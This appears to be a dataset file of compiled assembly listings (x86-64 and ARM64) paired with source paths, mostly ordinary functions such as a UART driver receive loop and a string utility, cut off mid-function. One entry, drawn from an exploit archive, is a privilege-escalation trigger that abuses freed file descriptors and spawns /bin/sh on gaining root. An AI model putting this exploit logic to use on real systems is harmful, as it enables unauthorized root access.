.loh AdrpAdd Lloh13, Lloh14
.loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Found pattern at index %d "
l_.str.1: ; @.str.1
.asciz "Enter the text string (1000 characters max) -"
l_.str.2: ; @.str.2
.asciz "%s"
l_.str.3: ; @.str.3
.asciz "Enter the pattern string to be searched (1000 characters max) -"
.subsections_via_symbols
| the_stack_data/41302.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function trigger_fault
_trigger_fault: ## @trigger_fault
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -16(%rbp)
movaps l___const.trigger_fault.argv(%rip), %xmm0
movaps %xmm0, -32(%rbp)
movq _O_RDONLY@GOTPCREL(%rip), %rax
movl (%rax), %esi
leaq L_.str.1(%rip), %rdi
callq _open
testl %eax, %eax
js LBB0_5
## %bb.1:
movl %eax, %edi
xorl %esi, %esi
xorl %edx, %edx
callq _ioctl
xorl %eax, %eax
callq ___free_stuff
xorl %eax, %eax
callq _migrate_evil_fd
movq _unsafe_fd@GOTPCREL(%rip), %rbx
movq (%rbx), %rax
movl (%rax), %edi
callq _close
movq (%rbx), %rax
movl 4(%rax), %edi
callq _close
movq (%rbx), %rax
movl 8(%rax), %edi
callq _close
movq (%rbx), %rax
movl 12(%rax), %edi
callq _close
xorl %eax, %eax
callq _getuid
testl %eax, %eax
jne LBB0_3
## %bb.2:
leaq L_.str.2(%rip), %rdi
callq ___msg
leaq L_.str(%rip), %rdi
leaq -32(%rbp), %rsi
xorl %edx, %edx
callq _execve
LBB0_3:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -16(%rbp), %rax
jne LBB0_7
## %bb.4:
addq $24, %rsp
popq %rbx
popq %rbp
retq
LBB0_5:
leaq L_.str.3(%rip), %rdi
callq ___msg
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -16(%rbp), %rax
jne LBB0_7
## %bb.6:
xorl %eax, %eax
addq $24, %rsp
popq %rbx
popq %rbp
jmp ___free_stuff ## TAILCALL
LBB0_7:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "/bin/sh"
.section __DATA,__const
.p2align 4 ## @__const.trigger_fault.argv
l___const.trigger_fault.argv:
.quad L_.str
.quad 0
.section __TEXT,__cstring,cstring_literals
L_.str.1: ## @.str.1
.asciz "/proc/timer_list"
.comm _O_RDONLY,4,2 ## @O_RDONLY
.comm _unsafe_fd,8,3 ## @unsafe_fd
L_.str.2: ## @.str.2
.asciz "[**] Got root!\n"
L_.str.3: ## @.str.3
.asciz "[**] Cannot open /proc/timer_list"
.no_dead_strip _trigger_fault
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function trigger_fault
_trigger_fault: ; @trigger_fault
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
adrp x9, l___const.trigger_fault.argv@PAGE
add x9, x9, l___const.trigger_fault.argv@PAGEOFF
str x8, [sp, #24]
ldr q0, [x9]
str q0, [sp]
Lloh3:
adrp x8, _O_RDONLY@GOTPAGE
Lloh4:
ldr x8, [x8, _O_RDONLY@GOTPAGEOFF]
Lloh5:
ldr w1, [x8]
Lloh6:
adrp x0, l_.str.1@PAGE
Lloh7:
add x0, x0, l_.str.1@PAGEOFF
bl _open
tbnz w0, #31, LBB0_5
; %bb.1:
mov w1, #0
mov w2, #0
bl _ioctl
bl ___free_stuff
bl _migrate_evil_fd
Lloh8:
adrp x19, _unsafe_fd@GOTPAGE
Lloh9:
ldr x19, [x19, _unsafe_fd@GOTPAGEOFF]
ldr x8, [x19]
ldr w0, [x8]
bl _close
ldr x8, [x19]
ldr w0, [x8, #4]
bl _close
ldr x8, [x19]
ldr w0, [x8, #8]
bl _close
ldr x8, [x19]
ldr w0, [x8, #12]
bl _close
bl _getuid
cbnz w0, LBB0_3
; %bb.2:
Lloh10:
adrp x0, l_.str.2@PAGE
Lloh11:
add x0, x0, l_.str.2@PAGEOFF
bl ___msg
Lloh12:
adrp x0, l_.str@PAGE
Lloh13:
add x0, x0, l_.str@PAGEOFF
mov x1, sp
mov x2, #0
bl _execve
LBB0_3:
ldr x8, [sp, #24]
Lloh14:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh15:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh16:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_7
; %bb.4:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #64
ret
LBB0_5:
Lloh17:
adrp x0, l_.str.3@PAGE
Lloh18:
add x0, x0, l_.str.3@PAGEOFF
bl ___msg
ldr x8, [sp, #24]
Lloh19:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh20:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh21:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_7
; %bb.6:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #64
b ___free_stuff
LBB0_7:
bl ___stack_chk_fail
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh19, Lloh20, Lloh21
.loh AdrpAdd Lloh17, Lloh18
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "/bin/sh"
.section __DATA,__const
.p2align 3 ; @__const.trigger_fault.argv
l___const.trigger_fault.argv:
.quad l_.str
.quad 0
.section __TEXT,__cstring,cstring_literals
l_.str.1: ; @.str.1
.asciz "/proc/timer_list"
.comm _O_RDONLY,4,2 ; @O_RDONLY
.comm _unsafe_fd,8,3 ; @unsafe_fd
l_.str.2: ; @.str.2
.asciz "[**] Got root!\n"
l_.str.3: ; @.str.3
.asciz "[**] Cannot open /proc/timer_list"
.no_dead_strip _trigger_fault
.subsections_via_symbols
| AnghaBench/exploitdb/exploits/linux_x86-64/local/extr_9083.c_trigger_fault.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function bound_moveto
_bound_moveto: ## @bound_moveto
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rsi, %rbx
movl 4(%rsi), %edi
callq _fz_transform_point_xy
movl %eax, 8(%rbx)
movl $1, (%rbx)
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _bound_moveto
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function bound_moveto
_bound_moveto: ; @bound_moveto
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
ldr w0, [x1, #4]
bl _fz_transform_point_xy
str w0, [x19, #8]
mov w8, #1
str w8, [x19]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.no_dead_strip _bound_moveto
.subsections_via_symbols
| AnghaBench/sumatrapdf/mupdf/source/fitz/extr_path.c_bound_moveto.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function strip_rcs_crap
_strip_rcs_crap: ## @strip_rcs_crap
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
leaq L_.str(%rip), %r14
movq %r14, %rdi
callq _strlen
movq %rbx, %rdi
movq %r14, %rsi
movl %eax, %edx
callq _strncmp
movq %rax, %rcx
xorl %eax, %eax
testq %rcx, %rcx
jne LBB0_13
## %bb.1:
movq %rbx, %rdi
callq _strlen
movl %eax, %r12d
movq %rbx, %rdi
callq _strlen
movl %eax, %eax
leaq (%rbx,%rax), %rdi
incq %rdi
callq _strlen
movl %eax, %r14d
leaq L_.str(%rip), %rdi
callq _strlen
movl %eax, %r15d
movl %eax, %eax
movzbl (%rbx,%rax), %eax
cmpl $58, %eax
je LBB0_3
## %bb.2:
cmpl $36, %eax
jne LBB0_4
LBB0_3:
incl %r15d
.p2align 4, 0x90
LBB0_4: ## =>This Inner Loop Header: Depth=1
movl %r15d, %r13d
movsbl (%rbx,%r13), %edi
callq _isspace
incl %r15d
testq %rax, %rax
jne LBB0_4
## %bb.5:
addq %rbx, %r13
addl %r12d, %r14d
movl %r14d, %edx
subl %r15d, %edx
addl $3, %edx
movq %rbx, %rdi
movq %r13, %rsi
callq _memmove
movzbl (%rbx), %eax
testb %al, %al
je LBB0_8
## %bb.6:
movsbl %al, %edi
callq _isspace
testq %rax, %rax
je LBB0_9
LBB0_8:
xorl %r12d, %r12d
LBB0_12:
addq %rbx, %r12
movq %rbx, %rdi
callq _strlen
movl %eax, %r13d
addq %rbx, %r13
movq %rbx, %rdi
callq _strlen
subl %eax, %r14d
subl %r15d, %r14d
addl $3, %r14d
movq %r12, %rdi
movq %r13, %rsi
movl %r14d, %edx
callq _memmove
movl $1, %eax
LBB0_13:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_9:
movl $1, %ecx
.p2align 4, 0x90
LBB0_10: ## =>This Inner Loop Header: Depth=1
movl %ecx, %r12d
movzbl (%rbx,%r12), %eax
testb %al, %al
je LBB0_12
## %bb.11: ## in Loop: Header=BB0_10 Depth=1
movsbl %al, %edi
callq _isspace
leal 1(%r12), %ecx
testq %rax, %rax
je LBB0_10
jmp LBB0_12
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "$Revision"
.no_dead_strip _strip_rcs_crap
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function strip_rcs_crap
_strip_rcs_crap: ; @strip_rcs_crap
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x0
Lloh0:
adrp x20, l_.str@PAGE
Lloh1:
add x20, x20, l_.str@PAGEOFF
mov x0, x20
bl _strlen
mov x2, x0
mov x0, x19
mov x1, x20
bl _strncmp
cbz x0, LBB0_2
; %bb.1:
mov w0, #0 ; =0x0
b LBB0_11
LBB0_2:
mov x0, x19
bl _strlen
mov x21, x0
mov x0, x19
bl _strlen
add x8, x19, w0, uxtw
add x0, x8, #1
bl _strlen
mov x22, x0
Lloh2:
adrp x0, l_.str@PAGE
Lloh3:
add x0, x0, l_.str@PAGEOFF
bl _strlen
mov x20, x0
ldrb w8, [x19, w0, uxtw]
cmp w8, #58
b.eq LBB0_4
; %bb.3:
cmp w8, #36
b.ne LBB0_5
LBB0_4:
add w20, w20, #1
LBB0_5:
sub w8, w20, w22
sub w8, w8, w21
sub w21, w8, #3
LBB0_6: ; =>This Inner Loop Header: Depth=1
mov w22, w20
ldrsb w0, [x19, x22]
bl _isspace
add w20, w20, #1
add w21, w21, #1
cbnz x0, LBB0_6
; %bb.7:
neg w2, w21
add x1, x19, x22
mov x0, x19
bl _memmove
ldrsb w0, [x19]
cbz w0, LBB0_9
; %bb.8:
bl _isspace
cbz x0, LBB0_12
LBB0_9:
mov x22, #0 ; =0x0
LBB0_10:
mov x0, x19
bl _strlen
add x20, x19, w0, uxtw
mov x0, x19
bl _strlen
add w8, w0, w21
neg w2, w8
add x0, x19, x22
mov x1, x20
bl _memmove
mov w0, #1 ; =0x1
LBB0_11:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
LBB0_12:
mov w8, #1 ; =0x1
LBB0_13: ; =>This Inner Loop Header: Depth=1
mov w22, w8
ldrsb w0, [x19, x22]
cbz w0, LBB0_10
; %bb.14: ; in Loop: Header=BB0_13 Depth=1
bl _isspace
add w8, w22, #1
cbz x0, LBB0_13
b LBB0_10
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "$Revision"
.no_dead_strip _strip_rcs_crap
.subsections_via_symbols
| assembly_file_55854.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function sdio_uart_receive_chars
_sdio_uart_receive_chars: ## @sdio_uart_receive_chars
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r14
movq %rdi, %rbx
leaq 24(%rdi), %rax
movq %rax, -80(%rbp) ## 8-byte Spill
leaq 20(%rdi), %rax
movq %rax, -72(%rbp) ## 8-byte Spill
leaq 16(%rdi), %rax
movq %rax, -64(%rbp) ## 8-byte Spill
leaq 8(%rdi), %rax
movq %rax, -48(%rbp) ## 8-byte Spill
movl $-256, %r15d
.p2align 4, 0x90
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq _UART_RX@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %rbx, %rdi
callq _sdio_in
movl %eax, -52(%rbp) ## 4-byte Spill
movq _TTY_NORMAL@GOTPCREL(%rip), %rax
movl (%rax), %r13d
incl 28(%rbx)
movq _UART_LSR_PE@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq _UART_LSR_BI@GOTPCREL(%rip), %r12
orl (%r12), %edi
movq _UART_LSR_FE@GOTPCREL(%rip), %rax
orl (%rax), %edi
movq _UART_LSR_OE@GOTPCREL(%rip), %rax
orl (%rax), %edi
andl (%r14), %edi
callq _unlikely
movl (%r14), %ecx
testq %rax, %rax
je LBB0_16
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
testl %ecx, (%r12)
je LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movq _UART_LSR_PE@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _UART_LSR_FE@GOTPCREL(%rip), %rsi
orl (%rsi), %eax
notl %eax
andl %eax, %ecx
movl %ecx, (%r14)
movq -80(%rbp), %rax ## 8-byte Reload
jmp LBB0_6
.p2align 4, 0x90
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movq -72(%rbp), %rax ## 8-byte Reload
movq _UART_LSR_PE@GOTPCREL(%rip), %rsi
testl %ecx, (%rsi)
jne LBB0_6
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
movq -64(%rbp), %rax ## 8-byte Reload
movq _UART_LSR_FE@GOTPCREL(%rip), %rsi
testl %ecx, (%rsi)
je LBB0_7
.p2align 4, 0x90
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
incl (%rax)
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl (%r14), %ecx
movq _UART_LSR_OE@GOTPCREL(%rip), %rax
testl %ecx, (%rax)
je LBB0_9
## %bb.8: ## in Loop: Header=BB0_1 Depth=1
incl 12(%rbx)
movl (%r14), %ecx
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
andl (%rbx), %ecx
movl %ecx, (%r14)
testl %ecx, (%r12)
je LBB0_11
## %bb.10: ## in Loop: Header=BB0_1 Depth=1
movq _TTY_BREAK@GOTPCREL(%rip), %rax
jmp LBB0_15
.p2align 4, 0x90
LBB0_11: ## in Loop: Header=BB0_1 Depth=1
movq _UART_LSR_PE@GOTPCREL(%rip), %rax
testl %ecx, (%rax)
je LBB0_13
## %bb.12: ## in Loop: Header=BB0_1 Depth=1
movq _TTY_PARITY@GOTPCREL(%rip), %rax
jmp LBB0_15
LBB0_13: ## in Loop: Header=BB0_1 Depth=1
movq _UART_LSR_FE@GOTPCREL(%rip), %rax
testl %ecx, (%rax)
je LBB0_16
## %bb.14: ## in Loop: Header=BB0_1 Depth=1
movq _TTY_FRAME@GOTPCREL(%rip), %rax
.p2align 4, 0x90
LBB0_15: ## in Loop: Header=BB0_1 Depth=1
movl (%rax), %r13d
LBB0_16: ## in Loop: Header=BB0_1 Depth=1
movl 4(%rbx), %eax
movl %eax, %esi
andl %ecx, %esi
movq _UART_LSR_OE@GOTPCREL(%rip), %rdx
movl (%rdx), %edx
movl %edx, %edi
notl %edi
testl %edi, %esi
jne LBB0_18
## %bb.17: ## in Loop: Header=BB0_1 Depth=1
movq -48(%rbp), %rdi ## 8-byte Reload
movl -52(%rbp), %esi ## 4-byte Reload
movl %r13d, %edx
callq _tty_insert_flip_char
movl (%r14), %ecx
movl 4(%rbx), %eax
movq _UART_LSR_OE@GOTPCREL(%rip), %rdx
movl (%rdx), %edx
LBB0_18: ## in Loop: Header=BB0_1 Depth=1
notl %eax
andl %ecx, %eax
testl %edx, %eax
je LBB0_20
## %bb.19: ## in Loop: Header=BB0_1 Depth=1
movq _TTY_OVERRUN@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq -48(%rbp), %rdi ## 8-byte Reload
xorl %esi, %esi
callq _tty_insert_flip_char
LBB0_20: ## in Loop: Header=BB0_1 Depth=1
movq _UART_LSR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %rbx, %rdi
callq _sdio_in
movl %eax, (%r14)
movq _UART_LSR_DR@GOTPCREL(%rip), %rcx
testl %eax, (%rcx)
je LBB0_22
## %bb.21: ## in Loop: Header=BB0_1 Depth=1
leal 1(%r15), %eax
testl %r15d, %r15d
movl %eax, %r15d
jne LBB0_1
LBB0_22:
movq -48(%rbp), %rdi ## 8-byte Reload
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
jmp _tty_flip_buffer_push ## TAILCALL
.cfi_endproc
## -- End function
.comm _UART_RX,4,2 ## @UART_RX
.comm _TTY_NORMAL,4,2 ## @TTY_NORMAL
.comm _UART_LSR_BI,4,2 ## @UART_LSR_BI
.comm _UART_LSR_PE,4,2 ## @UART_LSR_PE
.comm _UART_LSR_FE,4,2 ## @UART_LSR_FE
.comm _UART_LSR_OE,4,2 ## @UART_LSR_OE
.comm _TTY_BREAK,4,2 ## @TTY_BREAK
.comm _TTY_PARITY,4,2 ## @TTY_PARITY
.comm _TTY_FRAME,4,2 ## @TTY_FRAME
.comm _TTY_OVERRUN,4,2 ## @TTY_OVERRUN
.comm _UART_LSR,4,2 ## @UART_LSR
.comm _UART_LSR_DR,4,2 ## @UART_LSR_DR
.no_dead_strip _sdio_uart_receive_chars
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function sdio_uart_receive_chars
_sdio_uart_receive_chars: ; @sdio_uart_receive_chars
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x28, x27, [sp, #32] ; 16-byte Folded Spill
stp x26, x25, [sp, #48] ; 16-byte Folded Spill
stp x24, x23, [sp, #64] ; 16-byte Folded Spill
stp x22, x21, [sp, #80] ; 16-byte Folded Spill
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x1
mov x20, x0
add x9, x0, #24
add x8, x0, #20
stp x8, x9, [sp, #16] ; 16-byte Folded Spill
add x8, x0, #16
str x8, [sp, #8] ; 8-byte Folded Spill
add x21, x0, #8
mov w8, #-256
Lloh0:
adrp x28, _UART_LSR_BI@GOTPAGE
Lloh1:
ldr x28, [x28, _UART_LSR_BI@GOTPAGEOFF]
Lloh2:
adrp x27, _UART_LSR_PE@GOTPAGE
Lloh3:
ldr x27, [x27, _UART_LSR_PE@GOTPAGEOFF]
Lloh4:
adrp x26, _UART_LSR_FE@GOTPAGE
Lloh5:
ldr x26, [x26, _UART_LSR_FE@GOTPAGEOFF]
Lloh6:
adrp x24, _UART_LSR_OE@GOTPAGE
Lloh7:
ldr x24, [x24, _UART_LSR_OE@GOTPAGEOFF]
LBB0_1: ; =>This Inner Loop Header: Depth=1
mov x25, x8
Lloh8:
adrp x8, _UART_RX@GOTPAGE
Lloh9:
ldr x8, [x8, _UART_RX@GOTPAGEOFF]
Lloh10:
ldr w1, [x8]
mov x0, x20
bl _sdio_in
mov x22, x0
Lloh11:
adrp x8, _TTY_NORMAL@GOTPAGE
Lloh12:
ldr x8, [x8, _TTY_NORMAL@GOTPAGEOFF]
Lloh13:
ldr w23, [x8]
ldr w8, [x20, #28]
add w8, w8, #1
str w8, [x20, #28]
ldr w8, [x19]
ldr w9, [x28]
ldr w10, [x27]
orr w9, w10, w9
ldr w10, [x26]
orr w9, w9, w10
ldr w10, [x24]
orr w9, w9, w10
and w0, w9, w8
bl _unlikely
ldr w8, [x19]
cbz x0, LBB0_14
; %bb.2: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [x28]
tst w9, w8
b.eq LBB0_4
; %bb.3: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [x26]
ldr w10, [x27]
orr w9, w10, w9
bic w8, w8, w9
str w8, [x19]
ldr x9, [sp, #24] ; 8-byte Folded Reload
b LBB0_6
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr w10, [x27]
ldr x9, [sp, #16] ; 8-byte Folded Reload
tst w10, w8
b.ne LBB0_6
; %bb.5: ; in Loop: Header=BB0_1 Depth=1
ldr w10, [x26]
ldr x9, [sp, #8] ; 8-byte Folded Reload
tst w10, w8
b.eq LBB0_7
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [x19]
ldr w9, [x24]
tst w9, w8
b.eq LBB0_9
; %bb.8: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [x20, #12]
add w8, w8, #1
str w8, [x20, #12]
ldr w8, [x19]
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [x20]
and w8, w8, w9
str w8, [x19]
ldr w9, [x28]
tst w9, w8
b.eq LBB0_11
; %bb.10: ; in Loop: Header=BB0_1 Depth=1
Lloh14:
adrp x9, _TTY_BREAK@GOTPAGE
Lloh15:
ldr x9, [x9, _TTY_BREAK@GOTPAGEOFF]
Lloh16:
ldr w23, [x9]
b LBB0_14
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [x27]
tst w9, w8
b.eq LBB0_13
; %bb.12: ; in Loop: Header=BB0_1 Depth=1
Lloh17:
adrp x9, _TTY_PARITY@GOTPAGE
Lloh18:
ldr x9, [x9, _TTY_PARITY@GOTPAGEOFF]
Lloh19:
ldr w23, [x9]
b LBB0_14
LBB0_13: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [x26]
Lloh20:
adrp x10, _TTY_FRAME@GOTPAGE
Lloh21:
ldr x10, [x10, _TTY_FRAME@GOTPAGEOFF]
Lloh22:
ldr w10, [x10]
tst w9, w8
csel w23, w23, w10, eq
LBB0_14: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [x20, #4]
and w11, w9, w8
ldr w10, [x24]
bics wzr, w11, w10
b.ne LBB0_16
; %bb.15: ; in Loop: Header=BB0_1 Depth=1
mov x0, x21
mov x1, x22
mov x2, x23
bl _tty_insert_flip_char
ldr w8, [x19]
ldr w9, [x20, #4]
ldr w10, [x24]
LBB0_16: ; in Loop: Header=BB0_1 Depth=1
bic w8, w8, w9
tst w8, w10
b.eq LBB0_18
; %bb.17: ; in Loop: Header=BB0_1 Depth=1
Lloh23:
adrp x8, _TTY_OVERRUN@GOTPAGE
Lloh24:
ldr x8, [x8, _TTY_OVERRUN@GOTPAGEOFF]
Lloh25:
ldr w2, [x8]
mov x0, x21
mov w1, #0
bl _tty_insert_flip_char
LBB0_18: ; in Loop: Header=BB0_1 Depth=1
Lloh26:
adrp x8, _UART_LSR@GOTPAGE
Lloh27:
ldr x8, [x8, _UART_LSR@GOTPAGEOFF]
Lloh28:
ldr w1, [x8]
mov x0, x20
bl _sdio_in
str w0, [x19]
Lloh29:
adrp x8, _UART_LSR_DR@GOTPAGE
Lloh30:
ldr x8, [x8, _UART_LSR_DR@GOTPAGEOFF]
Lloh31:
ldr w8, [x8]
tst w8, w0
b.eq LBB0_20
; %bb.19: ; in Loop: Header=BB0_1 Depth=1
add w8, w25, #1
cbnz w25, LBB0_1
LBB0_20:
mov x0, x21
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
ldp x22, x21, [sp, #80] ; 16-byte Folded Reload
ldp x24, x23, [sp, #64] ; 16-byte Folded Reload
ldp x26, x25, [sp, #48] ; 16-byte Folded Reload
ldp x28, x27, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #128
b _tty_flip_buffer_push
.loh AdrpLdrGot Lloh6, Lloh7
.loh AdrpLdrGot Lloh4, Lloh5
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13
.loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22
.loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25
.loh AdrpLdrGotLdr Lloh29, Lloh30, Lloh31
.loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28
.cfi_endproc
; -- End function
.comm _UART_RX,4,2 ; @UART_RX
.comm _TTY_NORMAL,4,2 ; @TTY_NORMAL
.comm _UART_LSR_BI,4,2 ; @UART_LSR_BI
.comm _UART_LSR_PE,4,2 ; @UART_LSR_PE
.comm _UART_LSR_FE,4,2 ; @UART_LSR_FE
.comm _UART_LSR_OE,4,2 ; @UART_LSR_OE
.comm _TTY_BREAK,4,2 ; @TTY_BREAK
.comm _TTY_PARITY,4,2 ; @TTY_PARITY
.comm _TTY_FRAME,4,2 ; @TTY_FRAME
.comm _TTY_OVERRUN,4,2 ; @TTY_OVERRUN
.comm _UART_LSR,4,2 ; @UART_LSR
.comm _UART_LSR_DR,4,2 ; @UART_LSR_DR
.no_dead_strip _sdio_uart_receive_chars
.subsections_via_symbols
| AnghaBench/linux/drivers/mmc/core/extr_sdio_uart.c_sdio_uart_receive_chars.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ni_advertise_gen2_capability
_ni_advertise_gen2_capability: ## @ni_advertise_gen2_capability
.cfi_startproc
## %bb.0:
pushq %rbp
